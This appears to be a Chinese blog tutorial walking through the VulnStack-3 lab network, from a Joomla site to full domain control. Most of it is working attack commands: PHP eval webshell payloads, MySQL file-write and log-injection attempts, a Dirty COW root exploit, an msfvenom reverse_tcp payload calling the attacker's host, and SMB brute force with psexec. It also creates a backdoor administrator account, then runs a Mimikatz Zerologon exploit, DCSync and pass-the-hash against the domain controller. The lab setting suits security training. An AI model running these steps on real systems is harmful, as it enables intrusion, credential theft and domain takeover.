内网提权教程——VulnStack-3内网靶场横向提权详细教程(Joomla框架,MySQL日志注入,socks代理,PTH获取NTLM,Zerologon获取DC权限)

W1nner丶 Lv2

在vulnstack-3靶场的渗透实战中,我们从NAT网段的边界突破开始,利用Joomla框架的模块漏洞,突破了CentOS反向代理背后的Ubuntu主机,再通过内网信息收集与路由添加,逐步深入域内环境。从SMB爆破拿下Win7的SYSTEM权限,到利用Zerologon漏洞直取域控,每一步都暗藏攻防博弈的关键细节。


前置准备

NAT网卡设置(模拟公网地址)

首先我们将NAT网卡设置为192.168.96.0/24 网段,方便Kali能够访问到出网的机器

(作用:NAT模式的自定义网卡模拟外网访问通道:)

在这里插入图片描述

随后点击“应用” ——> “确定” 即可;

注意:下载完成后,将5台主机的镜像文件导入VMware即可。

  • 打开5台虚拟机镜像可以发现它们均为挂起状态,账号已默认登录。
  • 此时需要第一时间进行快照,因为Vulnstack3环境内的部分服务未设置自启,重启后无法自动运行。
  • 针对Vulnstack3环境,需要使用VMware对不同主机对应的网
    卡进行设置以实现上述网络拓扑图要求。这里,作为应用服务器的
    CentOS主机需要设置双网卡
  • Centos主机第一次运行时需重执行如下命令来重新获取NAT模式网卡IP:
1
service network restart

可以看到,Centos主机的IP地址为192.168.96.129

在这里插入图片描述

靶机网络拓扑

大致的网络拓扑图如下:

在这里插入图片描述

这里将以应用服务器Centos作为入口点,逐步进行渗透操作,并最终获取域控主机权限,实现对该环境的完全掌控。

本文仅用于学习交流,如有侵权请联系删除。


信息收集阶段

这里我们知道出网服务器的主机IP地址为:192.168.96.129,所以我们可以使用namp 等工具对其进行服务以及端口的扫描:

1
nmap -sC -sV -A -p- 192.168.96.129

结果如下:

在这里插入图片描述

也可以使用其他工具(现在我趋向于使用多种工具手动,毕竟一种工具收集的信息有时候并不全面)

在这里插入图片描述

可以看到目标服务器开放了三个对外服务:

  • 22端口 / SSH远程连接服务
  • 80端口 / HTTP服务
  • 3306端口 / MySQL服务

Web服务信息收集

接下来可以尝试分别访问这些服务,看看是否存在哪些可利用的框架漏洞等:

访问网址:http://192.168.96.129/ 页面如下

在这里插入图片描述

同时我们可以看到该网站搭建的框架为 Joomla

在这里插入图片描述

之前我也写过相关Joomla框架的漏洞利用,详细请看:渗透测试——DC3靶场主机渗透横向教程(包含详细安装教程)

Joomla框架漏洞利用

接下来我们就去漏洞库进行搜索:Joomla
在这里插入图片描述
我们可以发现由一千多条,肯定是不可能手工测试的;

所以我们接下来可以进行Web目录枚举

1
2
3
4
python dirsearch.py -u http://192.168.96.129/

# 排查无用的状态码
python dirsearch.py -u http://192.168.96.129/ -x 404,400,500,503

结果如下:

在这里插入图片描述
在这里插入图片描述

敏感信息收集

我们根据上述结果,一一访问目录:

同时还泄露了网络网段以及Web的目录路径(这也是很重要的信息);

在这里插入图片描述

在这里插入图片描述
结果如下:

1
2
3
4
5
6
7
8
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'testuser';
public $password = 'cvcvgjASD!@';
public $db = 'joomla';
public $dbprefix = 'am2zu_';
public $live_site = '';
public $secret = 'gXN9Wbpk7ef3A4Ys';

这里得到了数据库的账号密码;(之后可以尝试一下MySQL越权)

方法一:敏感文件推测版本号

接下来的思路:Joomla框架

  • 查找更多的信息,比如框架的版本号,phpinfor()等隐藏目录;
  • robots.txt ,README.txt,htaccess.txt等页面(无可利用信息)

在这里插入图片描述

这些页面我们可以看到一句话:# @copyright Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.

在这里插入图片描述

可以推测大概版本为:3.x

方法二:搜索引擎获取版本号

换个思路,我们直接去搜索引擎找“如何快速找到Joomla的版本信息

在这里插入图片描述

根据给出的信息,我们可以得到:

在大部分 Joomla 网站中,以下文件可直接访问:

1
https://target.com/administrator/manifests/files/joomla.xml

结果如下:
在这里插入图片描述

我们可以得到版本号为<extension version="3.6" >

总结:敏感信息收集

  • 版本号为3.6
  • Web目录:/var/www/html
  • 后台登陆:/administrator
  • phpinfo()页面:1.php
  • 数据库密码:root / 123

MySQL漏洞利用(失败)

获取账号密码:MySQL数据库(一)

之前我们似乎得到了数据库的账号密码:

1
2
3
4
5
6
7
8
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'testuser';
public $password = 'cvcvgjASD!@';
public $db = 'joomla';
public $dbprefix = 'am2zu_';
public $live_site = '';
public $secret = 'gXN9Wbpk7ef3A4Ys';

所以可以尝试登陆一下:

1
2
3
4
# 本地登录MySQL(适配mysqli类型)
mysql -u testuser -h 192.168.96.129 -p
# 输入密码
cvcvgjASD!@

可以看到登陆成功:

在这里插入图片描述

1
2
3
4
5
6
# 查看数据库
show databases;
# 切换到目标数据库
use joomla;
# 查看表
show tables;

查看数据库:
在这里插入图片描述

切换到目标数据库并查看表:
在这里插入图片描述

经过筛查,发现可能存在账号密码的表:am2zu_users

在这里插入图片描述

1
2
3
4
5
切换到 joomla 数据库
use joomla;

查看 am2zu_users 的所有字段
desc am2zu_users;

字段如下:
在这里插入图片描述

1
2
切换列,只看账号、密码、权限组
select username, password,id from am2zu_users;

得到结果:
在这里插入图片描述
得到的账号密码如下: administrator / $2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2


获取账号密码:MySQL数据库(二)

那有没有可能SSH服务与MySQL服务存在弱口令?尝试爆破一下:超级弱口令工具

在这里插入图片描述

可以得到数据库密码为: root / 123

尝试登陆一下:

1
mysql -u root -h 192.168.96.129 -p

也是成功登陆?这样不就相当于有两个可利用的数据库了?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查看数据库
show databases;

# 切换到 joomla 数据库
use joomla;

# 查看表
show tables;

# 查看 am2zu_users 的所有字段
desc am2zu_users;

# 切换列,只看账号、密码、权限组
select username, password,id from am2zu_users;

可以看到只有一个joomla数据库:
在这里插入图片描述
(那剩下的命令与之前一样,这里就不再赘述了,直接粘贴上面的;)

在这里插入图片描述

最终也是得到账号密码:

在这里插入图片描述
你说巧不巧,这竟然是一样的。。。

在这里插入图片描述

可能是作者制作靶场的时候疏忽了吧?

插入Webshell:secure_file_priv写入Web目录(一)

既然两个数据库一样,那我们选用其中一个即可root / 123

  • 这里选用Navicat进行操作,毕竟可视化界面还是方便点;

既然以root权限登录了应用服务器的MySQL数据库,接下来,就可以尝试通过MySQL数据库来植入webshell,从而对该服务器进行远程命令执行和控制。

(1)首先执行以下命令来查看secure_file_priv值:

1
show global variables like "%secure%"

在这里插入图片描述

可以看到,secure_file_priv的值为空,说明在这种情况下可以向任意绝
对路径写入文件。(若secure_file_priv的值为NULL,则说明此时不可以
写文件。)

(2)而我们之前信息收集知道了Web目录为/var/www/html ,所以尝试使用下面的SQL语句来直接写入webshell:

1
SELECT "<?php eval($_POST['aacc']); ?>" INTO OUTFILE "/var/www/html/shell.php"

在这里插入图片描述

可以看到,执行结果提示了权限不允许(Permission denied)。因此只能换一种方法来写入webshell。

插入Webshell:日志注入(二)

(1)首先需要确认当前日志的配置情况,通过执行如下SQL语句来查看当前日志功能的开启/关闭情况以及日志文件的存储位置

1
show variables like "%general_log%";

在这里插入图片描述

  • general_log日志功能默认关闭,开启后便可以记录用户输入的每条命令,并把其保存在对应的日志文件中。
  • 默认日志文件路径为/var/lib/mysql/ubuntu.log

(2)尝试自定义日志文件,并向日志文件中写入webshell

1
2
set global general_log=on;
set global general_log_file='/var/www/html/shell.php';

在这里插入图片描述
发现权限不够,只能放弃MySQL数据库的利用;


Joomla重置密码上传shell

Joomla服务在存储密码时有自己的加密方式,通过查询Joomla官网,我们找到了一个关于如何恢复或重置管理员密码的说明页面:

网址如下:https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3f

在这里插入图片描述

根据Joomla官网的描述,将administrator的密码修改为secret,即将密码
密文修改为如下字符串:

1
d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199

修改后,am2zu_users表中administrator用户的密码密文:

在这里插入图片描述

接下来使用administrator/secret就可以成功登录Joomla后台了。

1
administrator / secret

随后在”模块“里上传Webshell即可:

在这里插入图片描述

直接在index.php插入一句话木马:

在这里插入图片描述

蚁剑里输入网址以及密码,即可成功连接:

1
http://192.168.96.129/templates/beez3/index.php

在这里插入图片描述

进入后发现命令无法执行?这又是怎么一回事

在这里插入图片描述

新知识:免杀绕过插件

出于安全防护的考虑,很多Web服务往往会禁用一些危险函数,因此我
们猜测此处可能设置了disable_functions

不过利用插件来进行绕过,依次选择“加载插件”→“辅助工具”→“绕过disable_functions”:

在这里插入图片描述

随后选择PHP7_UserFilter模式后,单击“开始”按钮即可:

在这里插入图片描述

成功执行命令:

在这里插入图片描述

但是有点奇怪:Web服务器不是192.168.96.129 吗,怎么是192.168.93.0/24网段?

  • 回想之前phpinfo()得到的信息,93网段应该是内网网段
  • 渗透外网机器Centos,怎么得到的是内网机器Ubuntu?

登陆Ubuntu和Centos主机

事已至此,先在这台Ubuntu服务器中进行信息收集,查找可以利用的信息:

在这里插入图片描述

最后也是在/tmp/mysql目录下发现一个可疑文件:

在这里插入图片描述

内容如下:(看着像账号密码)

在这里插入图片描述

于是尝试一下SSH登陆:wwwuser / wwwuser_123Aqx

在这里插入图片描述
(如果遇到这种问题,核心原因是目标服务器仅支持老旧的ssh-rsa/ssh-dss密钥算法)

  • 在 SSH 命令中手动指定允许ssh-rsa算法,即可正常连接:
  • 命令:ssh -o HostKeyAlgorithms=+ssh-rsa wwwuser@192.168.96.129

成功连接:

在这里插入图片描述
在这里插入图片描述

至此,我们获得了应用服务器的权限,该服务器为CentOS系统,内核版本为2.6.32,且该服务器存在双网卡,IP分别为192.168.96.129192.168.93.100

为什么通过80端口的Joomla服务所获得的Ubuntu服务器与通过22端口SSH服务所获得的CentOS服务器不是同一台服务器?

  • 猜测是由于目标网站做了反向代理,将处于内网的Ubuntu(192.168.93.120)上的Joomla服务代理到了CentOS上;
  • 令查看CentOS服务器上的Nginx配置文件,得到proxy_pass字段确实如此:
    在这里插入图片描述

提权:Centos提权root权限

我们已经获得了两台服务器的权限,但是权限都很低,所以我们需要将他们提权到root 权限;

SSH服务登录CentOS服务器后,发现该服务器的内核版本为2.6.32,因此可以使用脏牛漏洞(CVE-2016-5195)来进行提权。

下载地址:https://github.com/FireFart/dirtycow

并将该脚本上传至CentOS服务器:(不是上传到Ubuntu机器

在这里插入图片描述

成功下载;随后赋权,执行即可:

1
gcc -pthread dirty.c -o dirty -lcrypt && chmod +x dirty

执行完成后,会在CentOS服务器上添加一个用户名为firefart的用户,密码为123456,并且具备root权限。通过su firefart命令切换至firefart用户,并输入刚才设置的密码,即可登录。

在这里插入图片描述
在这里插入图片描述

成功获取root 权限;

Web服务器上线MSF

在kali上生成一个payload:

1
2
3
4
5
6
7
8
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.96.128 LPORT=5555 -f elf > MSF.elf

# 建立监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost ip
set lport port
run

在这里插入图片描述

随后在Centos上下载并执行这个payload,即可发现在MSF上反弹了一个会话:
在这里插入图片描述

探测内网网段添加route

执行route命令查看CentOS服务器的内网相关信息:
在这里插入图片描述

因此,为了探测192.168.93.0/24网段其他主机的信息,需要添加
192.168.93.0/24网段路由:

1
2
3
4
5
run autoroute -s 192.168.93.0/24
background
use auxiliary/server/socks_proxy
set SRVPORT 6677
run

在这里插入图片描述

配置好路由之后就可以对内网存活的主机进行探测了:

1
2
3
4
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 5
run

结果如下:(这里用Windows和Linux的结果,多种方法多条路~

在这里插入图片描述

Windows结果如下:

第一台主机:192.168.30.10

在这里插入图片描述

第二台主机Win7:192.168.30.30

在这里插入图片描述

内网横向阶段

SMB爆破Win7主机

根据工具对内网存活主机的扫描结果,得知Windows 7主机192.168.93.30开启了445端口,即SMB服务。因此,通过Metasploit来使用SMB暴力破解模块对该主机进行爆破:

1
2
3
4
5
use auxiliary/scanner/smb/smb_login
set rhost 192.168.93.30
set SMBUSER administrator
set PASS_FILE /root/passwd.txt
run

在这里插入图片描述

得到账号和密码为 administrator / 123qwe!ASD

接下来,便可以通过Metasploit的SMB模块连接该主机:

1
2
3
4
5
6
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.93.30
set smbuser administrator
set smbpass 123qwe!ASD
run

在这里插入图片描述

执行SMB连接模块后,成功反弹一个 SYSTEM权限 的会话:

在这里插入图片描述
在这里插入图片描述

到目前为止,我们已经拥有三台主机的控制权限:(MSF两台,蚁剑一台

在这里插入图片描述

执行systeminfo命令来查看系统信息,发现存在域test.org(之前Windows探测的时候也可知道):

在这里插入图片描述

利用Zerologon攻击域控服务器

我们需要要通过远程桌面将Mimikatz工具上传到Windows 7主机(192.168.93.30)中:

  • 因此先在Metasploit获得的Windows 7主机会话中,通过修改注册表来打开该主机的3389端口,从而开启远程桌面服务。
  • 然后新建一个账户sltest,密码为Hakuna@2019!,并将该账户添加至管理员组。
1
2
3
4
5
6
7
8
:: 启用远程桌面(关闭fDenyTSConnections限制)
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

:: 创建用户 sltest,密码为 Hakuna@2019!
net user sltest "Hakuna@2019!" /add

:: 将 sltest 用户添加到管理员组
net localgroup administrators sltest /add

成功执行命令:

在这里插入图片描述

随后使用新建的sltest账户通过远程桌面服务登录至Windows 7主机

当然MSF里也可以使用upload命令上传文件,这里就不做演示了;

接下来将Mimikatz工具上传到Windows 7主机(192.168.93.30)中并运行。使用如下命令检测Zerologon漏洞是否存在:

1
lsadump::zerologon /target:WIN-8GA56TNV3MV.test.org /account:WIN-8GA56TNV3MV$

在这里插入图片描述

继续在Mimikatz中执行如下命令对域控服务器发起渗透操作:

1
2
3
4
5
# 先提升权限(必做)
privilege::debug
token::elevate

lsadump::zerologon /target:WIN-8GA56TNV3MV.test.org /account:WIN-8GA56TNV3MV$ /exploit

在这里插入图片描述
在这里插入图片描述

1
lsadump::dcsync /domain:test.org /dc:WIN-8GA56TNV3MV.test.org /user:administrator /authuser:WIN-8GA56TNV3MV$ /authdomain:test.org /authntlm /authflags:0

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1
2
3
4
5
6
7
Credentials:
Hash NTLM: 18edd0cc3227be3bf61ce198835a1d97
ntlm- 0: 18edd0cc3227be3bf61ce198835a1d97
ntlm- 1: c703941f8ce69a643264ac6f87955b2b
ntlm- 2: 2bc31ee9ab29514308035203e98a727c
lm - 0: 9f8f8b3a6b02ebbc48586f9995cc6b69
lm - 1: be62fe8aef5763fe44c55c5308ab9597

至此,已成功获得域administrator用户的NTLM哈希值,为18edd0cc3227be3bf61ce19-8835a1d97

最后需要执行如下命令来恢复域控服务器的密码,防止域控服务器脱
域:

1
lsadump::postzerologon /target:test.org /account:WIN-8GA56TNV3MV$

利用PTH攻击域控服务器

根据Zerologon漏洞渗透结果,我们已经获得了域控服务器的administrator用户的NTLM哈希值,采用PTH攻击:

1
2
privilege::debug
sekurlsa::pth /user:administrator /domain:test.org /ntlm:18edd0cc3227be3bf61ce198835a1d97

在这里插入图片描述

可以看到命令执行成功之后,本地会弹出一个cmd窗口,该cmd窗口拥有域控服务器administrator用户的权限,我们可以对域控服务器中的资源进行访问:

在这里插入图片描述

至此,我们成功拿下来域控DC;

同理我们也可以用同样方法拿下192.168.93.20主机(这里不作演示)

总结

最后来总结一下此次实践中用到的知识点和操作方法。

在这里插入图片描述

  • 利用Joomla写入webshell。利用Joomla应用中的Beez3 Details and Files模块实现webshell的构建和利用。
  • 脏牛漏洞的利用。遇到内核为2.6.22或以上版本的Linux系统时,可尝试利用脏牛漏洞进行提权。
  • Zerologon漏洞的利用。利用Zerologon漏洞攻击域控服务器,并获取域控服务器上保存的域管理员的NTLM哈希值。
  • 进行PTH攻击。获得域控服务器上保存的域管理员的NTLM哈希值后,通过PTH攻击实现对内网所有主机的控制。

期待下次再见;

  • 标题: 内网提权教程——VulnStack-3内网靶场横向提权详细教程(Joomla框架,MySQL日志注入,socks代理,PTH获取NTLM,Zerologon获取DC权限)
  • 作者: W1nner丶
  • 创建于 : 2026-02-11 19:43:06
  • 更新于 : 2026-06-04 12:37:44
  • 链接: https://tamoon1.github.io/2026/02/11/Internal-network-3/
  • 版权声明: [object Object]
评论